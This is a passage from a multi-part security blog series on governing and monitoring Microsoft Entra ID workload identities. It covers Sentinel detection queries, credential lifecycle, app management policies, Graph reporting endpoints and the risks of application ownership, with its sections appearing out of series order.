| project AppId, ServicePrincipalId, ServicePrincipalDisplayName, RiskLevel, AlertSeverity, AlertDisplayName, Category

This query can be used to build an analytic rule with mapping to the “Cloud Application” entity type.

Incident entity mapping by using AppId for “Cloud Application” entity type.

Microsoft Sentinel

Analytic Rule Templates

Microsoft has released a security operations guide for Microsoft Entra which also covers recommendations for applications. This includes what type of activities and events should be monitored and where to find them. Rule templates for Microsoft Sentinel are available for the most named detection use cases and can be found as a link in the document. Nevertheless, you should verify the logic behind the queries and consider customizing them to your environment and requirements. Enrichment can help to reduce noise or implement dynamic severity of incidents based on environment-specific conditions. In the next part of this blog post series, we will have a look on the use case “Changes to application ownership” in combination with enrichment of the included entities.

Content Hub Solution “Azure Active Directory” offers many rule templates for Application security monitoring. Keep an eye on the entity mapping of analytics rules. They should include the entity type “Application” for building correlation to other incidents. As we can see in the “Similar incidents” area of the incident page, correlation to other incidents will be established and increased visibility for multi-stage attacks.

Anomalies and Behavior Analytics

User Entity Behavior Analytics (UEBA) is analyzing the behavior of users over a period of time and constructing a baseline of legitimate activity. This feature is integrated to Microsoft Sentinel and can be easily enabled. The BehaviorAnalytics can be used for customized or advanced anomaly detections of Application Management.

The following KQL query can be used to get all Audit events in the category “Application Management” with Insights from UEBA:

BehaviorAnalytics
| where ActivityType == "ApplicationManagement"
// Optional: Filter events with Investigation Priority Score
//| where InvestigationPriority != 0
| project TimeGenerated, ActivityType, ActionType, ActivityInsights, UserPrincipalName, SourceIPAddress, SourceIPLocation, InvestigationPriority

UEBA includes an Investigation Priority Score and insights about the activity. In this case, it is a first-time operation from this user’s location.

The Anomalies table allows us to get specific anomaly detection with details about the activity:

Anomalies
| where RuleId == "a255ca7d-ea19-4b7b-8d88-a51ce1c72c29"
| project AnomalyTemplateName, RuleName, Description, Tactics, Techniques, AnomalyDetails, AnomalyReasons

Detailed anomaly insights of a user who performed an app role assignment for the very first time.

Detecting multi attack activities by Microsoft Sentinel Fusion

Microsoft Sentinel Fusion is also correlating suspicious sign-in events (detected by Entra ID protection) which leads to rare application consent (detected by the associated scheduled analytics rules). A multi-stage attack incident will also be created if entities mapped in combination of this kind of anomalies.

Various incidents from analytics rules with entity mapping of the same IP address and user names matches with an anomaly detection of Azure operations

Next: Advanced Detections and Enrichment

In the next part of this blog post series, we will go into details how we can improve the entity mapping and context of the incidents in Microsoft Sentinel by using enrichment and custom analytics rules. This includes also how to identify high-privileged workload identities and many examples for attack scenarios and related detection capabilities.

• Introduction and Delegated Permissions
• Lifecycle Management and Operational Monitoring
• Threat detection with Microsoft Defender XDR and Sentinel
• Advanced Detection and Enrichment in Microsoft Sentinel
• Incident Response

• Inventory and initial review of Service Principals

I would recommend having a initial review for full visibility and insights of the service principals which has been already created, especially in an environment without an establish lifecycle workflow or governance framework.

Julian Hayward has published an awesome tool with the name “AzADServicePrincipalInsights” (AzADSPI) which allows you to create a report across all types of workload identities. This can be also used for regular reviews and integrated to your monitoring and review process.

The report covers analysis about owner, credentials, app and directory role assignments of Application and Service Principal objects (all different types).

AzADSPI provides a comprehensive report of application and service principal objects in your Entra ID environment

There are many questions you should try to answer by analyzing the report, for example:

• Who has ownership to application and service principals?
  • Do you have user accounts as owners to objects with critical (classified) permissions (such as User.ReadWrite.All) or directory role assignments?
• Which objects are owned by a service principal?
• Are you aware of the existing user-assigned identities in Azure and the resources which can to use them?
• Do you trust the Identity Providers and entities which are defined in Federated Identity Credentials?
• Are there orphaned Managed Identities?
• …

Results can be exported as HTML (with visualization) but also as JSON and CSV export. Julian is also providing pre-configured pipeline files for Azure DevOps and GitHub which allows to export the report data to a repository automatically. The approach is similar what I have built with AADOps for Conditional Access.

Pull Request in AzADSPI to compare changes of Workload Identity since latest pipeline run. In this example, a sensitive API permission and a short term client secret has been assigned.

The tool provides an classification for API Permission with critical and medium sensitivity which can be also customized.

Side Note: Options to integrate such enriched data to your Microsoft Sentinel environment (for example to build advanced logic or correlation in analytics rules) will be one of the major topics in the next part of this blog post series. I’ve shown this approach in scenarios for enrichment of analytics rules and hunting in my community talks about Workload Identities in the recent years. Last year, I’ve started to work on an automation for classification of privileged access based on Microsoft’s Enterprise Access Model. This feature will be part of my “AADOps” PoC project and covers all major RBAC systems in Microsoft Cloud (Azure, Entra ID, Intune, Graph API, Identity Governance) across all types of identities (including workload identities). But this is topic for another community talks and blog posts in the near future.

Tip: There’s is also a tool by Joosua Santasalo which gives you comprehensive insights to your application and workload identities with option to ingest the data to Log Analytics.

Lifecycle Management of Application Objects

In the following section, I would like to evoke simply the keypoints (including a short description) what should be considered in lifecycle management from my point of view.

Overview on tasks during the lifecycle phases of application objects (as an example)

Planning and Provisioning

Check requirements on application-level integration

• Verify the integration of MSAL or any other authentication library which passed the following security requirements:
  • Verify claims-based authorization (logic must check security identifiers including tenant and object id)
  • Support for latest features in protocol standards and Entra ID features, such as Conditional Access Evaluation for workload or application identities
• Check if the app publisher offers a publisher verification

Create a well-configured app registration

• Choose multi-tenant only if acceptable and consider limited security control with Conditional Access and User Assignment requirements. Those settings will be applied in the tenant of the Service Principal instance. Policies from the „home“ tenant of the app registration will not apply to users in other („resource“) tenants. In addition, you will have no sign-in events from those users.

  Tip: Merill Fernando has written a great blog post about “Entra ID multi- vs. single tenant app” which I can strongly recommended to read.

  • Consider to enable “Application instance lock” to protect sensitive properties of the multi-tenant app in other tenants.
• Follow Microsoft’s best practices for application configuration which covers security related aspects of Redirect URIs, authentication flow, Application and secret management.
  • Integration assistant in Entra ID portal should also support you in verifying the recommended configuration and go trough a checklist.
• Consider best practices in developing Zero Trust applications, especially token management (claims, lifetime, caching) are core aspects for app integration.
  • Avoid using weak claims (such as e-mail or UPN) to determine if the token subject is authorized. Validate the subject by using immutable claim values.
• Review and remove ownership to application and service principal objects. If needed, delegate permissions with object-scoped and least privileged directory roles (as already described in the first part of the blog post series). Consider using PIM approval flow for sensitive delegated permissions on application object (such as update credentials or change reply URLs) to implement four eyes principle and closely review all activities from eligible admin.
• Optional: Define a notificationEmailAddresses in the Service Principal object if you are implementing a SAML token-based application and you want deliver notification for certificate expiration.
• Optional: Use serviceManagementReference if you can build a link between application and service or asset by using a management ID (information will be visible for other users).

Classification and Service Mapping of Service Principals

• Classify policy requirements for user access to the application as custom security attribute. This could include attributes related to the target audience of the app or the policy requirements to access the application:

  

  The assignment of the custom security attribute allows you to use the classification in the App Filter for Conditional Access Targeting:

  

  Require trusted device and block access from BYOD to all classified sensitive business apps (based on classification in custom security attribute)

• Classify application permissions of the Service Principal (e.g. sensitive Graph API Permissions) to protect them by Conditional Access for Workload Identities. I’ve started to create a classification definition for Microsoft Graph API based on the Enterprise Access Model which will be applied by an automation (as part of my PoC project “EntraOps”):

  

  Workbook of EntraOps Privileged EAM helps to identify highly sensitive workload identities and their privileges in Azure, Entra and to Resource Apps. API permission to “User.ReadWrite.All” will be classified to “Control plane” (Tier 0) because of the wide range of permissions to modify user accounts. The identified sensitive service principals needs to be protected and monitored particularly.

  

  

  Custom security attributes will be used to “label” classification and target them in policy (for example, all control plane access should be blocked if Identity Protection has detected a high risk of the workload identity.

• Require user assignment for sensitive or restricted applications to the target end-user audience. This setting is also important if an application identity has sensitive delegated permission and you want to manage the scope of users.

  

  Groups can be used to assign permissions to get access to those apps or APIs. In addition, Identity Governance offers an effective way to request, manage and review user access to applications.

  

  Access to Graph Explorer and Microsoft Graph PowerShell is restricted and will be granted with access package for privileged role assignments

• Use a custom security attribute or notes attribute to store information about service owner or application developer. I would prefer to choose a custom security attribute to keep the relation private to avoid discovery and reconnaissance by attackers.

  • Other entity relations should be also stored in custom security attributes which could be later used in Microsoft Sentinel (WatchLists) for building correlations in analytics rules, hunting queries or scoping „Conditional Access for Workload Identities“. For example: Details about hosting or running the workload (pipeline name, environment or relation other cloud resources/accounts) and classification of permissions (according to own-defined sensitivity levels or tiering model):

    

    A service principal which will be used in Azure Pipelines for sensitive operations (in this case, Entra ID automation) offers information about the classification and details on the associated pipelines in the custom security attributes.

Issuing credentials

• Client Secret (only if other credential types are not supported): Use KeyVault to transfer and provide secret to the workload. Avoid long lifetimes by implementing a process and way to rotate the secrets regularly. Configure a secret expiration date to take advantage of notification trigger.

  There are some great blog posts by the community about client secret rotation. Check out the following articles and samples:

  • Azure AD application secret rotator for Azure web sites
  • How to automatically rotate Entra ID app registration client secrets using Azure Functions (with Java) and Key Vault – Jordan Bean Dev Blog
  • Implement automatic key rotation on Azure DevOps service connections by Koos Goossens
• Certificate: Use KeyVault or your trusted Certificate Authority of choice to create the private key and avoid delegating any permissions or options to export the sensitive cryptographic information. Only the public key needs to be imported to the associated app registration.
  • Choose the “new” RBAC permission model (over the classic “Vault Access Policy” permission model) to use Azure PIM and Azure Activity Logs for privileged access governance.
  • Implement a renewal process for certificates as already described in the scenario with client secrets.

  Side Note: Applications can also roll their own existing keys. More details about how to implement it and the usage of Application.ReadWrite.OwnedBy is very well described in a the blog post “Using Application.ReadWrite.OwnedBy and addKey methods for Graph API” by Joosua Santasalo.

• Federated Credentials: This credential type offers many benefits over secrets or certificates from security and operational perspective. Choose this credential type if your workload scenario is supported. A subject identifier should be chosen with a strong scope on your workload and a reliable and secure external Identity Provider (IdP) for establishing a trust relationship.

Restrict application (credential) management

App Instance Property Lock

Microsoft allows to lock properties of the “Service Principal” object for Multi-Tenant Apps. This prevents admins or owners of the object in the Resource Tenant from adding credentials and impersonate the application identity. This feature is in preview and well documented in Microsoft Learn.

App Instance property lock can be configured in the “Authentication” blade of the App Registration

Entra ID App Management Method Policies

Client Secret and Certificate management operations can be restricted for Application and Service Principals by using App Management Policies. This feature can be only configured by using Microsoft Graph and is limited to tenants with assigned Workload Identity Premium licenses.

A tenant-wide policy (tenantAppManagementPolicy) can be created which applies to all apps and service principals. It’s possible to define a policy which blocks new password credentials beginning from a specific date. The properties of the policy object and schema are described in the related resource type docs.

{
    "isEnabled": true,
    "applicationRestrictions": {
        "passwordCredentials": [
            {
                "restrictionType": "passwordLifetime",
                "maxLifetime": "P90D",
                "restrictForAppsCreatedAfterDateTime": "2023-08-01T10:00:00Z"
            },
            {
                "restrictionType": "symmetricKeyAddition",
                "maxLifetime": null,
                "restrictForAppsCreatedAfterDateTime": "2023-08-01T10:00:00Z"
            },
            {
                "restrictionType": "customPasswordAddition",
                "maxLifetime": null,
                "restrictForAppsCreatedAfterDateTime": "2023-08-01T10:00:00Z"
            },
            {
                "restrictionType": "symmetricKeyLifetime",
                "maxLifetime": "P40D",
                "restrictForAppsCreatedAfterDateTime": "2023-08-01T10:00:00Z"
            }
        ],
        "keyCredentials": [
            {
                "restrictionType": "asymmetricKeyLifetime",
                "maxLifetime": "P365D",
                "restrictForAppsCreatedAfterDateTime": "2023-08-01T10:00:00Z"
            }
        ]
    }
}

Application Management policies (appManagementPolicy) can be created to have specific restrictions for certain application identities and can be linked to individual application or service principal objects. These policies will override the restrictions (by the tenant-wide policy) in scope of the linked object. Details on create, modify and link App Management policies are also described in the Microsoft Graph Docs.

Side Note: Vasil Michev has published a great blog post about this topic with the title “Entra ID App Management Method Policies Harden Application Security Posture” on Practical365.com.

Azure Policies for Workload Identity Federation

As far as I know, there are no options to restrict federated credentials on Application objects in Entra ID. But there is a solution if you are using user-assigned managed identities in combination with Federated Credentials. Azure Policies are the central policy engine at the level of Azure Resource Manager (ARM) as control and management plane. Uday Hegde has written an excellent blog post how to create and apply a policy to restrict federation with an approved set of issuers.

Operational Monitoring and Maintenance

There are a couple of sources and signals in Microsoft Entra products but also governance capabilities in Microsoft 365 Defender which should be included in the operational monitoring.

Entra ID Recommendations on Workload Identities

The following checks are included in the recommendations blade and are available in Entra ID P2 tenants:

• Remove unused applications (Microsoft.Identity.IAM.Insights.StaleApps)
• Remove unused credentials from applications (Microsoft.Identity.IAM.Insights.StaleAppCreds)
• Renew expiring application credentials (Microsoft.Identity.IAM.Insights.ApplicationCredentialExpiry)
• Renew expiring service principal credentials (Microsoft.Identity.IAM.Insights.ServicePrincipalKeyExpiry)

You’ll find the overview of recommendations in the Entra ID portal and as deep link in the “Workload Identities” blade from the Microsoft Entra portal:

Overview of Workload Identities in the Microsoft Entra portal

Recommendations covers a few checks for app registrations/service principals including unused permissions and credentials.

Details on impacted resources and remediation steps are available for every recommendation. Status will be automatically updated if the application or service principals have been modified according to the action plan. You can also change the status manually (active, dismissed or postponed).

All recommendations can be listed and updated (incl. status and owner) by Microsoft Graph API. This allows you to implement the insights to your existing operational monitoring or dashboard solution.

Using a filter on ImpactType give us the option to get only findings regarding resource types “Applications” which also includes Service Principals:

https://graph.microsoft.com/beta/directory/recommendations?$filter=impactType eq 'apps'

Programmatically access to the recommendation by using Microsoft Graph API by using Graph Explorer

As you can see in the previous screenshot, the impacted resources are missing. Another API call allows to get a list of the related entities. But you need to include the full ID of the recommendation, including the specific “Tenant Id” and “Resource Name” of the recommendation:

https://graph.microsoft.com/beta/directory/recommendations/<TenantId>_Microsoft.Identity.IAM.Insights.ApplicationCredentialExpiry/impactedResources

Details on the impacted resource (service principal or application) from the recommendation.

Usage & Insights about sign-in activities and credentials

Entra ID provides integrated activity reports in the “Usage & Insights” blade. Furthermore, the results of these reports are also accessible from Microsoft Graph API and can be integrated in your monitoring solution. The following activity reports are particularly related to workload identities.

Service principal sign-in activity

Last sign-ins (with Time Stamp and Request Id) from app-only (application permissions) or user access (delegated permissions) will be covered in the report. lastSignInRequestId can be used for searching the related user or service principal sign-in in the Entra ID sign-logs.

https://graph.microsoft.com/beta/reports/servicePrincipalSignInActivities

Entra ID application activity

This report shows a summary of all users’ sign-in attempts to an application including error codes.

Report displays the error description of the sign-in failures and counts and timeline of all user sign-ins

The API endpoint “applicationSignInSummary” allows to get a summary with counts on successful/failed sign-ins and success percentage filtered by a pre-defined period of time.

https://graph.microsoft.com/beta/reports/getAzureADApplicationSignInSummary(period='D7')

Summary of application sign-in report within the last 30 days (maximum time range).

Another API call to “applicationSignInDetailedSummary” is needed if you are interested to get all details about the sign-in counts and failures:

https://graph.microsoft.com/beta/reports/applicationSignInDetailedSummary

The response shows the single records of the report which will be aggregated regularly and includes additional details about the failureReason .

Application credential activity

Monitoring to expiring of client secrets and certificates is one of the essential operational tasks during the maintenance phase of application and workload identities. The following reports give a detailed overview of expiring credentials.

The Portal UI allows you to filter for the expiration time window, certificate types and recent sign-in activities. This feature is in preview and I’ve running into some issues with outdated data and filter.

All details of the report can be also listed by using the following Graph API call:

https://graph.microsoft.com/beta/reports/appCredentialSignInActivities

Credential activity report covers not only expiration of specific credentials, but it’s also shows the latest sign-in activity. Unfortunately, there are some issues with the quality of data, as you can see in the screenshot (example: lastSignInDateTime)

Entra ID Workbooks and Alerts for advanced operational monitoring

Sign-in of users (SigninLogs and NonInteractiveUserSignInLogs) but also service principals (ServicePrincipalSignInLogs) are covered by Entra ID and can be forwarded to a Log Analytics or Microsoft Sentinel workspace by using Diagnostic settings.

The following examples should give you an overview about the capabilities and options to use this data to visualize insights about your integrated apps.

App sign-in health

This is an integrated workbook from the Entra ID monitoring blade and visualizes the numbers of successful sign-ins and failures (like previous described Usage & Insights report “Application Activity”). But it offers longer time ranges (based on your workspace data retention), customized views and an overall status.

Tip: Error Codes will be only displayed in some scenarios of troubleshooting sign-in issues. Check out the references of AADSTS error codes but also the integrated lookup tool for resolving the code numbers.

Analyses of used Authentication Library

I’ve built a KQL query which is parsing the information about the implemented Authentication Library from the AADServicePrincipalSignInLogs sign-in logs.

This should help to identify outdated versions from Microsoft Authentication Library (MSAL) or legacy libraries (e.g., ADAL):

In my opinion, you should use the latest version to avoid security vulnerabilities, known issues with core features (such as token caching) and missing features (e.g., support for CAE). The query can be also used for visualization as you can see in the following sample:

Side Note: Recently, Microsoft has announced a check in “Entra ID Recommendation” for identifying ADAL Applications. Keep this in mind, if you are looking for implementations of this deprecated Authentication Library.

Issued CAE token

Continuous access evaluation (CAE) is also available for workload identities. But how to detect which non-human identity or session is using a CAE-capable token?

You can get insights about this one in the Entra ID sign-in blade by filtering on “Is CAE token” and check the “Additional Details” tab:

Unfortunately, the details if CAE token has been issued are not available in the Diagnostic Logs of AADServicePrincipalSignInLogs yet.

Governance of OAuth Apps and Permissions

Microsoft has been released “App Governance” as add-on feature for “Microsoft Cloud App Security” (now called “Microsoft Defender for Cloud Apps”) in Summer 2021. An additional licensing was required but this will be change for Microsoft 365 E5 and E5 Security customers on June 1st, 2023. The feature will be available as opt-in at no additional costs.

This tool gives you an comprehensive overview and insights about your applications in different areas (data and permission usage, access to sensitive data or delegated access by sensitive accounts).

“App Governance” is fully integrated to “Microsoft 365 Defender” portal and shows many compliance & security related insights.

Summary of applications gives you an overview about certification and publisher verification which should be important to review for multi-tenant and SaaS applications. But also, deep links to related “Entra ID recommendations” have been integrated.

Policy templates but also custom policies can be configured for monitoring and detection of different scenarios. Alerts for “unused apps”, “unused credentials” or “expiring credentials” are available as well. So, there are some overlapping features between Entra ID recommendations and App Governance. Therefore, app hygiene features will be only available in MDA for customers with Entra Workload ID Premium license.

Alert integration to Microsoft 365 Defender/Microsoft Sentinel, custom app scope and automated response (disable app) could be one of the reason to prefer the features in App Governance over Entra ID recommendations. More details about App hygiene policies are available from Microsoft Learn.

Statistics about data usage of an app to OneDrive (via Microsoft Graph API) and overview about users which has been defined as priority/sensitive account.

More policies and capabilities for detecting anomalous activities are available which will be described in the next part of the blog post about “Monitoring and Security of Entra ID Workload Identities”.

Remove unused permissions

Regular review of assigned permissions should be considered for workload identities. App Governance has a strong focus on permissions to API Permissions. But also, other privileges to RBAC assignments (such as Entra ID roles or Azure RBAC) and even Groups should be included in the access review.

MDA App Governance for Microsoft Graph API Permissions

App Governance gives you the option to analyze the usage of Graph API Permissions for Exchange Online, SharePoint, OneDrive and Teams in the recent 90 days. This can be also integrated as a policy to trigger an alert but also for correlation to other built-in threat detections (”Increase in data usage by an overprivileged or highly privileged app”).

Overview of Assigned Permissions to Exchange Online (Mail.ReadWrite) and User.Read (Entra ID). “In Use” can be only analyzed for certain endpoints of Microsoft 365 services.

Side Note: Microsoft seems to be working on a new data source in Entra ID logs to get insights about Microsoft Graph Activities. There are some reports about the private preview on Twitter. The log schema is already available in Microsoft Learn and gives some interesting impressions which information will be covered. In my opinion, this would also allow to provide detections in Microsoft Sentinel for unused/over-privileged API permissions but detecting abuse and exfiltration of data from/to Graph.

Entra Permissions Management (EPM) for Multi-Cloud Permissions

Over-privileged permissions in cloud infrastructure environments can be analyzed with Entra Permissions Management (EPM). Currently, Google Cloud Platform (GCP), Amazon Web Services (AWS) and Azure are supported. A score of unused or excessive permissions will be calculated with the option to create a custom role assignment based on the used and required permissions.

Example: Microsoft Sentinel Playbook is running with a system-assigned managed identity which has comprehensive permissions as part of the role assignment to “Microsoft Sentinel Contributor”. But only one role action (“incidents/comments/write”) will be used from the role definition set of over 700 actions. Reducing the set of assigned permissions can be achieved by the remediation features in EPM and supports you to follow the approach of least privileges.

I can strongly recommend evaluating EPM in your environment by using the free trial version. There’s also a comprehensive “Trial user guide” which supports you to explore all the features to analyze least privilege in your multi-cloud environment.

Access Review for Entra ID roles and Azure resource assignments

Identity Governance supports access review for service principal role assignments in Entra ID or Azure Resources. This feature has been already introduced in June 2021 and requires “Workload Identity Premium License” in addition to Entra ID Premium P2.

Configuration of Access Review for Service Principals for high-privileged directory roles.

Automated actions can be configured in case the reviewer doesn’t respond to confirm the need of the required permissions.

Reviewer will be notified about the access review and needs to approve or deny the continuing validity of the requirements to use this directory or RBAC role assignment. There seems to be no support for “recommended actions” which gives insights about the current usage. A deep link to the recent activities as part of the Azure (AD) Audit Logs is available from the review page.

Privileged Identity Management (PIM) gives you a total number of directory role assignments. Unfortunately, assignments on Administrative Unit- or Object-Level have not been recognized in my test environment.

Recovery of deleted objects

Entra ID offers an option to recover supported objects within a 30-day time window. Those objects will not be permanently deleted and remains in a suspended state for this time period. App Registrations are one of these supported objects which can be restored when they have been removed recently. Managed Identities are a special type of service principals and are not covered. Some of the configurations can not be recovered from the Portal UI or not included in the recovery process yet. Check the deletion and recovery FAQ for more details.

You’ll find the options to delete an application permanently or recover the object by clicking on the “Deleted application” tab on the “App Registration” blade.

Summary and comparison of workload identity lifecycle management

Next: Threat detection with Microsoft Defender XDR and Sentinel

I’ve already mentioned some Microsoft Security but also community tools for monitoring in this article. In the next part of the blog post series we will go into details about using the capabilities of this solutions for detection and response of workload identities.

• Introduction and Delegated Permissions
• Lifecycle Management and Operational Monitoring
• Threat detection with Microsoft Defender XDR and Sentinel
• Advanced Detection and Enrichment in Microsoft Sentinel
• Incident Response

Introduction of Workload ID

Microsoft has introduced “Workload Identities” as overriding notion for non-human identities but also as “new product” as part of Microsoft Entra. The product name has been renamed from “Azure AD Workload Identities” to “Microsoft Entra Workload ID” in early July 2023. The premium licenses covers some features which has been available as public preview before (such as Conditional Access support for Service Principals). I will shown some use cases for the capabilities of Microsoft Entra Workload ID in the next part of this blog series.

Workload Identity Premium features in the Microsoft Entra Portal. You’ll find a overview about the features and capabilities which are included in Microsoft Entra Workload ID Premium and which ones are free at the Microsoft Entra Workload ID FAQ page.

Provisioning and general usage of Service Principals are still free in Microsoft Entra ID (formely known as Azure AD), only certain new capabilities are part of the new “premium plan” for Workload ID.

An overview about the definition of workload identities is well documented in the Microsoft Learn article “What are workload identities?”.

Common deployment and integration scenarios

The following common use cases should provide some examples of the terminology and different types of workload identities in Microsoft Entra ID:

• Application identities will be created in the “App Registration” blade and used for integration of applications for using modern authentication and/or access to other Entra ID-protected resources. They can be also used for multi-tenancy, which allows to provide access to an application outside of the own organization (common for SaaS scenario). Access to the resources can be assigned with delegation or application API permissions and requires a consent from the admin or user.

  • Delegated API Permissions allows the application to get access on behalf of the signed-in user. This will be mostly used for interactive sessions and limited to the scope of the specific user.

    

    Example: Application accessing Microsoft Graph API with scoped and delegated token of the user

  • Application API Permissions enables the application to access a resource without signed-in user and will be typically used for background or automation workflows.

    

    Example: Application accessing Microsoft Graph API with permissions assigned to the Application object.

  Authorization to other APIs or roles can be granted with assigning the service principal to the target RBAC system (e.g., Azure RBAC for managing resources, Entra ID admin roles for scoped permissions on directory objects).

• Managed Identities is a recommended way for integration of workloads running in Azure or Azure Arc-connected environments (including GCP, AWS and on-premises infrastructure). This identity can be assigned to a particular Azure-managed resource and will be bounded to the lifecycle of this object (”System-assigned”). A standalone identity can be also created which allows to use them by multiple resource (”User-assigned”). Furthermore, you can also use a “Workload Identity Federation” to integrate workloads from other platforms by establishing a trust to an external Open ID Connect issuer / Identity Provider (IdP) (such as GitHub Actions, Google Cloud). In general, there’s no need to manage credentials for those workloads because of taking benefit of Azure as Management Plane to auto-manage credentials or establishing federation to a trusted IdP. This feature is also available for “Application Identities” and eliminates the requirement for managing credentials as well.

  Application API Permissions and also authorization as part of RBAC assignments can be granted to Managed Identities. As far as I know, calls on using delegated permissions are not applicable. The management of API permissions is restricted to Graph API (no support in Portal UI).

  

  Example: Managed Identity has been assigned or federated to a workload. Assignment to an Azure RBAC role exists allows to call the Azure Resource Manager API for deployment of resources.

  Side Note: Managed Identities are out of scope for this article but I’m already planning a dedicated article about the advantages and considerations in using Managed Identities.

The following summary table gives you a quick overview about the different types of workload identities

*Single Tenant Application only, but access can be granted to Azure RBAC and resources in other tenants via Azure Lighthouse

Challenges in managing Non-Human Identities

Microsoft has shared some interesting statistics at the “2023 State of Cloud Permissions Risks Report”. This includes also the ratio between user and workload identities but also the numbers of stale identities:

Summary of related statics about workload identities. Source: Microsoft “2023 State of Cloud Permissions Risks Report”

It shows an incredible number of non-human identities which will certainly used for automation with sensitive access to IT assets (e.g., provisioning of Azure resources, Microsoft Sentinel SOAR, automation for IAM workflows).

But on the other side, most organization are still facing challenges in managing a Workload ID compared to user accounts. The following risks are (in my opinion) widely present:

• No defined lifecycle management HR data and processes can be used as source of authority for user lifecycle. Many organization are not able to build a similar relation between IT asset/cloud resource and workload identity.
• Risks of leaked secrets or compromised credentials Multi-factor authentication and strong (or Passwordless) authentication can be implemented for privileged users but can not be adopted for Workload ID. Most organization are using secrets for Service Principals authentication because other credential types are not supported or having limited knowledge about alternate options. Credentials will be handed out to developers for application or DevOps integration.
• Escalation paths by standing and overprivileged access Review of used permissions or credentials are rarely seen and will not be conducted frequently. Options to assign time-bound access are very limited. In addition, missing concepts for (scoped) delegation are leading to an increased risk of privilege escalation paths, uncontrolled and rampant usage without governance rules.
• Lack of auditing, monitoring and detections in Security Operations Sign-in reports of service principals has been introduced in September 2020. Nevertheless, it seems that those identities will not be monitored on the same quality level as human identities.

Entra ID Objects of Application Identities

Application object has been created in the “App Registration” blade and defines the API permissions, credentials and general properties (incl. authentication settings). An instance of the application has been created based on the Application object and will be represented by the Service Principal. It exists in the local directory (”home tenant”) where the application was registered but also in other tenants (”resource tenant”) in case of multi-tenant application. This object will be used for assigning memberships to Entra ID groups but also role assignments in other RBAC systems.

A service principal can be modified in the resource tenant and issued with different credential than the application objects in the home tenant.

Owners can be assigned to the Application and Service Principal objects which delegates to user full control for managing the properties and credentials.

Application (Client) ID represents the “login name” of a workload identity and is shared between object types. A shared secret, a signed JWT token (from the private key of a certificate) or a token (from a federated identity) is required to request a token from the Entra ID endpoint. Implementation of Microsoft Authentication Libraries allows easy code integration for handling token request, validation (of signature) and renewal.

Entra ID Objects of Managed Identities

Managed Identities exists as Resource in Azure but also as Service Principal in the associated Entra ID Tenant. There’s no (visible) Application object for Managed Identities. Certificates as credentials are created and maintained by Microsoft on the Service Principal-Object. Assignments to API Permissions needs to be configured on this object type as well. The name of the Enterprise App (Service Principal) is equal to the related Azure Resource Name.

Certificates of Managed Identities have an expiration of 90 days and will be rolled after 45 days by Azure. More details on limitations and technical backgrounds are described in the FAQ section on Microsoft Learn.*

Default User Permissions and Risks of Unmanaged Workload ID

But just who can read and create the related workload identity objects in a tenant? Let’s have a closer look to the default permissions for Entra ID users.

Enumeration and Visibility of Properties

By design, all members have the default permission to read properties of the Application and Service Principal objects, including their granted permissions. But the enumeration of all objects is available for members only. External users will get also the permission to list all application when one of the following conditions met:

• No guest user access restriction by choosing “Guest users have the same access as members (most inclusive)” in the External collaboration settings
• External user has been changed from user type “Guest” to “Member”

• Assignment of built-in (e.g., “Directory Readers”) or custom Entra ID role (with permission to read properties of the objects) to allow browsing all objects in the tenant.

  

  Example of “Custom Entra ID role” which allows every assigned member to read properties of related Application Identities object. Role members are able to access Azure or Entra portal when user access is restricted.*

Create and Ownership of Applications

Default User Role Permission

By default, members are able to register applications and create an Application object in the tenant. In addition, the creator becomes owner of the application object when using the Azure (AD) or Microsoft Entra Portal.

However, the users’ default permissions can be restricted and should be disabled in my opinion. Otherwise, you will allow the provisioning and management of workload identities by any member account.

Disable default permission to register application should be disabled and particular delegated to developer accounts or integrated to a managed workload identity lifecycle.

This setting is named allowedToCreateApps and will be defined in the authorizationPolicy which can be also managed in Microsoft Graph API:

**Authorization Policy allows to restrict a few default member permissions.**

As you can see, another entry of the authorizationPolicy been marked in the screenshot. An app consent policy will be defined for members to govern the permissions for user consent. The value permissionGrantPoliciesAssigned is shown the “Policy Id” of a built-in (begins with “microsoft-”) or a custom policy. The default setting will be also shown in the Portal UI:

Consent and permissions can be configured in the Azure portal but without advanced options (such as assigning a custom policy).

Side Note: Configuration of User and Admin Consent Permissions (incl. Policy Framework) is an essential and huge topic for identity security. If you are interested in to learn more about the attack scenarios and security configuration, check out the Azure AD Attack & Defense playbook about “Consent Grant”.

Entra ID admins roles and ownership for delegation

Application Developer

Permission to register application can be delegated by assigning “Application Developer” role.

Built-in role “Application Developer” allows members to create application identities even the default user permission has been restricted

Every created application by this role members will assign “Owner” permissions (by default) to the creator. In this way, the creator has full management permission on this object with a permanent and user-based assignment. External users can be also assigned as “Owner” but needs to have “Directory Reader” or “Member” type permission to take advantage of the permissions.

Risks of owner on application and service principal objects

There are a couple of reasons why ownership has some disadvantages and new/existing assignment should be avoided:

• Owners can not be assigned to security groups and can not covered by Identity Governance for access review or Entitlement Management. This leads to permanent privileges to a single user account with limited visibility and management.
  • Limited visibility during maintenance as part of joiner/leaver/mover process
• No particular options to cover them in Conditional Access Policies (with Authentication Context or scope on Directory Role Assignment)
• Owner can not be granted as Eligible Assignment with Approval with Entra ID PIM
• Limited visibility as privileged role assignment (owners are not automatically protected as privileged user in Entra ID, compared to Entra ID role members)

Ownership includes permission to issue credentials and modify Redirect URI which is in particular interest of attackers to gain persistence access (and create “backdoors”) or stealing tokens with delegated permissions (by manipulation of replay URL). Microsoft has also given some note in the article about “Overview of enterprise application ownership in Microsoft Entra ID”.

The application may have more permissions than the owner, and thus would be an elevation of privilege over what the owner has access to as a user. An application owner can create or update users or other objects while impersonating the application. The elevation of privilege to owners can raise a security concern in some cases depending on the application’s permissions.

(Cloud) Application Administrators

Built-in roles “Application Administrator” and “Cloud Application Administrator” allows to manage application and service principal object in the tenant. This affects all Application and Service Principal objects, except App Proxy for the particular role of “Cloud Application Administrator”.

This allows assigned members to takeover any provisioned non-human identities in your tenant and their assigned permissions. Therefore, this is a high-sensitive role assignment and should be considered as “Tier0” (Control Plane) administrators.

In addition, members of this Entra ID admin role are assigned to the consent policy “ microsoft-application-admin” which allows to grant tenant-wide admin consent on specific conditions.

But there’s also some other built-in roles which allows manage Application Identity objects, this includes the following roles:

• Partner Tier1/Tier2 support
• Hybrid Identity Administrator
• Directory Synchronization Accounts

Side Note: The previous named directory roles are mostly out of scope by strong Conditional Access Policies. For example: Hybrid Identity Admin will be used on AAD Connector and excluded from Device Compliance. Therefore you should monitor activities from those role members particular.

Monitor all Entra ID admin roles and assignments which includes (for example) the following permissions:

• microsoft.directory/applications/credentials/update
• microsoft.directory/applications/owners/update
• …

Assigning Entra ID admin roles to scope of object-level

